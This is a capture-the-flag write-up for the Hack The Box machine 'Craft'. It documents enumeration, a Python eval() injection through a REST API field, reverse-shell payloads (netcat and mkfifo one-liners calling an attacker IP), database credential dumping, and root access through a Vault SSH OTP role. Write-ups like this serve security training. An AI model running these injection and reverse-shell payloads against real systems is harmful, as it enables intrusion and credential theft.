---
search:
  exclude: true
---
# Craft Writeup

![](img/44.png)

## Introduction :

Craft is a Medium linux box released back in July 2019.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
      → sudo nmap -vvv -sTU -p- 10.10.10.110 --max-retries 0 -Pn --min-rate=200 | grep Discovered
      Discovered open port 443/tcp on 10.10.10.110
      Discovered open port 22/tcp on 10.10.10.110
    
      [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
      → nmap -sCV -p443,22 10.10.10.110
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 10:07 BST
      Nmap scan report for 10.10.10.110
      Host is up (0.12s latency).
    
      PORT    STATE SERVICE  VERSION
      22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
      | ssh-hostkey:
      |   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
      |   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
      |_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
      443/tcp open  ssl/http nginx 1.15.8
      |_http-server-header: nginx/1.15.8
      |_http-title: About
      | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
      | Not valid before: 2019-02-06T02:25:47
      |_Not valid after:  2020-06-20T02:25:47
      |_ssl-date: TLS randomness does not represent time
      | tls-alpn:
      |_  http/1.1
      | tls-nextprotoneg:
      |_  http/1.1
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 24.70 seconds
    
    
    
      [ 10.10.14.10/23 ] [ /dev/pts/5 ] [~]
      → sudo su
      [sudo] password for nothing:
    
      [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
      → whoami
      root
    
      [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
      → echo '10.10.10.110 craft.htb' >> /etc/hosts
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 443 so let's investigate it:

![](prg/44_001.png)

The webpage hints us towards a public rest API: 

![](prg/44_002.png)

Said public rest API is a subdomain of craft.htb which is api.craft.htb so we need to add it to our hosts file as well as the gogs subdomain: 
    
    
    
    [ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
    → sudo nano /etc/hosts
    [sudo] password for nothing:
    
    [ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
    → cat /etc/hosts | grep craft
    10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
    
    

` ![](prg/44_003.png)

the gogs subdomain contains the sourcecode while the api subdomain contains operations which can be performed to interact with the REST API that is present on the machine. 

![](prg/44_004.png) ![](prg/44_005.png)
    
    
      curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
    
    

` ![](prg/44_006.png) ![](prg/44_007.png) ![](prg/44_008.png) ![](prg/44_009.png)
    
    
      dinesh:4aUh0A8PbVJxgd
    
    

Now that we have his credentials, we can exploit the eval() function we found earlier using denish's curl command in order to make an injection with a POST request to /api/brew/ To do so we could use [maggick's](https://maggick.fr/2020/01/htb-craft.html) python script that i modified to work under python3 : 
    
    
      #!/usr/bin/env python
    
      import requests
      import json
      import urllib3
    
      urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
      response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
      json_response = json.loads(response.text)
      token =  json_response['token']
    
      headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }
    
      response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
      print(response.text)
    
      print("Create bogus ABV brew")
      brew_dict = {}
      brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.11 9001 -e /bin/sh\').read()'
      brew_dict['name'] = 'bullshit'
      brew_dict['brewer'] = 'bullshit'
      brew_dict['style'] = 'bullshit'
    
      json_data = json.dumps(brew_dict)
      print(json_data)
      response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
      print(response.text)
    

Running it we get a reverse shell as root inside a jail, which obviously won't get us the root flag, ![](prg/44_010.png)

Another way of getting in is by using [0xdf's](https://0xdf.gitlab.io/2020/01/04/htb-craft.html) bash commands which are directly using the curl commands to directly spawn us a shell:
    
    
      TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H  "accept: application/json" | jq -r '.token'); \
      curl -X POST "https://api.craft.htb/api/brew/" -H  "accept: application/json" -H  "Content-Type: application/json" -d "{
      \"id\": 0,
      \"brewer\": \"0xdf\",
      \"name\": \"beer\",
      \"style\": \"bad\",
      \"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f')\"}" -k -H "X-CRAFT-API-TOKEN: $TOKEN"
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~]
      → nc -lvnp 9001
      listening on [any] 9001 ...
      connect to [10.10.14.11] from (UNKNOWN) [10.10.10.110] 34287
      /bin/sh: can't access tty; job control turned off
      /opt/app # id
      uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    

Before we do anything, let's upgrade our shell to a full tty shell: 
    
    
      /opt/app # python -c 'import pty; pty.spawn("/bin/sh")'
      /opt/app # ^Z
      [1]+  Stopped                 nc -lvnp 9001
    
      [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
      → stty raw -echo
    
      [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
      → nc -lvnp 9001
                     reset
      /opt/app # export SHELL=bash
      /opt/app # export TERM=xterm-256color
      /opt/app # l
      ld        ldd       linux32   loadfont  login     ls        lspci     lzma
      ld.bfd    less      linux64   loadkmap  logread   lsmod     lsusb     lzop
      ldconfig  link      ln        logger    losetup   lsof      lzcat     lzopcat
      /opt/app # ls
    

What we did here was :
    
    
    -Spawn a /bin/sh tty shell using python's pty library
    -Backgrounded our shell (CTRL+Z)
    -Typed "stty raw -echo" and then fg
    -Resetted the terminal by typing "reset"
    -Exported our SHELL and TERM variables
    
    

Which gave us tab completion which is preety neat to continue, especially to edit files with vim as you'll see later: 
    
    
      /opt/app # uname -a
      uname -a
      Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
    
    
      /opt/app # cat /proc/self/cgroup
      cat /proc/self/cgroup
      10:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      9:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      6:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      5:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      3:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      2:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
      1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
    

Running uname -a and cat /proc/self/cgroup shows us that we are in a docker container, so after poking around that jail we look into the settings.py file that contains the database credentials:
    
    
      /opt/app # ps auxw
      PID   USER     TIME  COMMAND
          1 root      0:02 python ./app.py
         65 root      0:00 /bin/sh
         67 root      0:00 python -c import pty; pty.spawn("/bin/sh")
         68 root      0:00 /bin/sh
         95 root      0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f
         98 root      0:00 cat /tmp/f
         99 root      0:00 /bin/sh -i
        100 root      0:00 nc 10.10.14.11 9001
        102 root      0:00 ps auxw
    

Running ps auxw we can see that there aren't many processes active, it seems like there's only our python shell that's active right now. 
    
    
    
      /opt/app # ls -lash
      ls -lash
      total 32
           4 drwxr-xr-x    5 root     root        4.0K Feb 10  2019 .
           4 drwxr-xr-x    1 root     root        4.0K Feb  9  2019 ..
           4 drwxr-xr-x    8 root     root        4.0K Feb  8  2019 .git
           4 -rw-r--r--    1 root     root          18 Feb  7  2019 .gitignore
           4 -rw-r--r--    1 root     root        1.5K Feb  7  2019 app.py
           4 drwxr-xr-x    5 root     root        4.0K Feb  7  2019 craft_api
           4 -rwxr-xr-x    1 root     root         673 Feb  8  2019 dbtest.py
           4 drwxr-xr-x    2 root     root        4.0K Feb  7  2019 tests
      /opt/app # cd craft_api
      cd craft_api
      /opt/app/craft_api # ls
      ls
      __init__.py  __pycache__  api          database     settings.py
      /opt/app/craft_api # cat settings.py
      cat settings.py
      # Flask settings
      FLASK_SERVER_NAME = 'api.craft.htb'
      FLASK_DEBUG = False  # Do not use debug mode in production
    
      # Flask-Restplus settings
      RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
      RESTPLUS_VALIDATE = True
      RESTPLUS_MASK_SWAGGER = False
      RESTPLUS_ERROR_404_HELP = False
      CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
    
      # database
      **MYSQL_DATABASE_USER = 'craft'
      MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
      MYSQL_DATABASE_DB = 'craft'**
      MYSQL_DATABASE_HOST = 'db'
      SQLALCHEMY_TRACK_MODIFICATIONS = False
    

The application uses SQLAlchemy to interact with the mysql database, and we find an example of code in dbtest.py and models.py:
    
    
    
      /opt/app/craft_api # cd ..
      cd ..
      /opt/app # cat dbtest.py
      cat dbtest.py
      #!/usr/bin/env python
    
      import pymysql
      from craft_api import settings
    
      # test connection to mysql database
    
      connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                                   user=settings.MYSQL_DATABASE_USER,
                                   password=settings.MYSQL_DATABASE_PASSWORD,
                                   db=settings.MYSQL_DATABASE_DB,
                                   cursorclass=pymysql.cursors.DictCursor)
    
      try:
          with connection.cursor() as cursor:
              sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
              cursor.execute(sql)
              result = cursor.fetchone()
              print(result)
    
      finally:
          connection.close()
    
    
    
      /opt/app # ls
      ls
      app.py     craft_api  dbtest.py  tests
      /opt/app # cd craft_api
      cd craft_api
      /opt/app/craft_api # ls
      ls
      __init__.py  __pycache__  api          database     settings.py
      /opt/app/craft_api # cd database
      cd database
      /opt/app/craft_api/database # ls
      ls
      __init__.py  __pycache__  models.py
      /opt/app/craft_api/database # cat models.py
      cat models.py
      # The examples in this file come from the Flask-SQLAlchemy documentation
      # For more information take a look at:
      # http://flask-sqlalchemy.pocoo.org/2.1/quickstart/#simple-relationships
    
      from datetime import datetime
      from craft_api.database import db
    
    
      **class Brew(db.Model):
          id = db.Column(db.Integer, primary_key=True)
          brewer = db.Column(db.String(80))
          name = db.Column(db.Text)
          style = db.Column(db.Text)
          abv = db.Column(db.Numeric)**
    
    
          def __init__(self, brewer, name, style, abv):
              self.brewer = brewer
              self.name = name
              self.style = style
              self.abv = abv
    
          def __repr__(self):
              return '' % self.name
    
      **class User(db.Model):
          id = db.Column(db.Integer, primary_key=True)
          username = db.Column(db.String(45))
          password = db.Column(db.String(80))**
    
          def __init__(self, username, password):
              self.username = username
              self.password = password
    

so from here the goal is to modify the SQL query of dbtest.py in order to fetch all the content of the user table:

![](prg/44_011.png) Now you see why it was important for us to spawn a full tty shell with tab completion, because we need to edit this file with vim and without a fully interactive shell this is next to impossible, and you'd need to edit it on your machine, and then send it over to the machine, so continuing we can use this pythonscript to execute any sql command we want, and most particularly listing the contents of the craft database which contains the user table:
    
    
    
      /opt/app # python dbtest.py 'SELECT user()'
      [{'user()': 'craft@172.20.0.6'}]
    
    
    
    
    
      /opt/app # python dbtest.py  "SELECT schema_name FROM information_schema.schemata;"
      [{'SCHEMA_NAME': 'information_schema'}, {'SCHEMA_NAME': 'craft'}
    
    

So here we see that we have 2 databases, information_schema and craft : 
    
    
    
      /opt/app # python dbtest.py  "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
      [{'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'brew'}, {'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'user'}]
    
    

The interesting table here is the user table, so let's enumerate it : 
    
    
    
      /opt/app # python dbtest.py  "SELECT * from user"
      [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, **{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}**]
    
    

And we have credentials, the important credentials here are gilfoyle's credentials which we can use to login in gogs to reveal a private repository:

![](prg/44_012.png) ![](prg/44_013.png)
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
      → nano id_rsa_gilfoyle
    
      [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
      → chmod 600 id_rsa_gilfoyle
    
      [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
      → ssh -i id_rsa_gilfoyle gilfoyle@craft.htb
    
    
        .   *   ..  . *  *
      *  * @()Ooc()*   o  .
          (Q@*0CG*O()  ___
         |\_________/|/ _ \
         |  |  |  |  | / | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | \_| |
         |  |  |  |  |\___/
         |\_|__|__|_/|
          \_________/
    
    
    
      Enter passphrase for key 'id_rsa_gilfoyle':
      Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
    
      The programs included with the Debian GNU/Linux system are free software;
      the exact distribution terms for each program are described in the
      individual files in /usr/share/doc/*/copyright.
    
      Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
      permitted by applicable law.
      gilfoyle@craft:~$ id
      uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
      gilfoyle@craft:~$ cat user.txt
      bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the user flag. 

## **Part 3 : Getting Root Access**

the text goes here
    
    
    
      **gilfoyle@craft:~$ env**
      SSH_CONNECTION=10.10.14.11 33304 10.10.10.110 22
      LANG=en_US.UTF-8
      XDG_SESSION_ID=217
      USER=gilfoyle
      PWD=/home/gilfoyle
      HOME=/home/gilfoyle
      SSH_CLIENT=10.10.14.11 33304 22
      SSH_TTY=/dev/pts/0
      MAIL=/var/mail/gilfoyle
      TERM=screen-256color
      SHELL=/bin/bash
      VAULT_ADDR=https://vault.craft.htb:8200/
      SHLVL=1
      LOGNAME=gilfoyle
      XDG_RUNTIME_DIR=/run/user/1001
      PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
      _=/usr/bin/env
    
      **gilfoyle@craft:~$ ls -lash**
      total 36K
      4.0K drwx------ 4 gilfoyle gilfoyle 4.0K Feb  9  2019 .
      4.0K drwxr-xr-x 3 root     root     4.0K Feb  9  2019 ..
      4.0K -rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
      4.0K drwx------ 3 gilfoyle gilfoyle 4.0K Feb  9  2019 .config
      4.0K -rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
      4.0K drwx------ 2 gilfoyle gilfoyle 4.0K Feb  9  2019 .ssh
      4.0K -r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
      4.0K -rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
      4.0K -rw------- 1 gilfoyle gilfoyle 2.5K Feb  9  2019 .viminfo
    
      **gilfoyle@craft:~$ cat .vault-token**
      f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
    

Here we are hinted towards a vault binary, which we can check that it is there on this machine:
    
    
      gilfoyle@craft:~$ which vault
      /usr/local/bin/vault
    

Vault is suppposed to _"Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API"_

![](prg/44_014.png)

Looking back at the private repository, there is also an other interesting file: **docker-compose.yml**
    
    
      version: '3'
      services:
        db:
          image: mysql
          expose:
            - "3306"
          volumes:
            - /opt/storage/mysql:/var/lib/mysql
        repo:
          image: gogs/gogs
          expose:
            - "6022"
            - "3000"
          ports:
            - 6022:6022
          volumes:
            - /opt/storage/gogs:/data
        home:
          image: craft-flask:master
          volumes:
            - /opt/storage/craft-home/:/opt/app
          expose:
            - "8888"
          command: [python, ./app.py]
        api:
          image: craft-flask:master
          volumes:
            - /opt/storage/craft-api/:/opt/app
          expose:
            - "8888"
          command: [python, ./app.py]
        proxy:
          image: nginx:latest
          volumes:
            - /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf
            - /opt/storage/nginx/pki/:/etc/nginx/pki/
          ports:
            - 80:80
            - 443:443
        vault:
          image: craft-vault:master
          volumes:
            - /opt/storage/vault/config:/vault/config
            - /opt/storage/vault/pki:/vault/pki
            - /opt/storage/vault/log:/vault/logs
            - /opt/storage/vault/data:/vault/data
          expose:
            - "8200"
          entrypoint: vault server -config /vault/config/config.hcl
          privileged: true
    
    

This tells us how the http traffic is routed, the sql config gives us info as to how the database is initialised, which may come in handy later on. The interesting part is said vault and it's config, which has another file related to it: 

![](prg/44_015.png)

Enumerating it further: 

![](prg/44_016.png) ![](prg/44_017.png)

Looks like a rabbit hole, so the idea here is to use the secret sh script that we found earlier: 
    
    
    gilfoyle@craft:~$ vault read ssh/roles/root_otp
    Key                  Value
    ---                  -----
    allowed_users        n/a
    cidr_list            0.0.0.0/0
    default_user         root
    exclude_cidr_list    n/a
    key_type             otp
    port                 22
    
    

The important thing here is that it hints us towards a ssh connection into said vault, as the root user, using the otp mode, so we do so: 
    
    
      gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
      **Vault could not locate "sshpass". The OTP code for the session is displayed
      below. Enter this code in the SSH password prompt. If you install sshpass,
      Vault can automatically perform this step for you.**
      OTP for the session is: **22922797-90f8-8d0f-9414-7f413458f6e4**
    
    
        .   *   ..  . *  *
      *  * @()Ooc()*   o  .
          (Q@*0CG*O()  ___
         |\_________/|/ _ \
         |  |  |  |  | / | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | | | |
         |  |  |  |  | \_| |
         |  |  |  |  |\___/
         |\_|__|__|_/|
          \_________/
    
    
    
      Password:
    

That's preety neat, it gives us the root password for vault because it couldn't locate sshpass. 
    
    
      Password:
      Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
    
      The programs included with the Debian GNU/Linux system are free software;
      the exact distribution terms for each program are described in the
      individual files in /usr/share/doc/*/copyright.
    
      Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
      permitted by applicable law.
      Last login: Tue Aug 27 04:53:14 2019
      root@craft:~# id
      uid=0(root) gid=0(root) groups=0(root)
      root@craft:~# cat /root/root.txt
      83XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/44_graph.png)

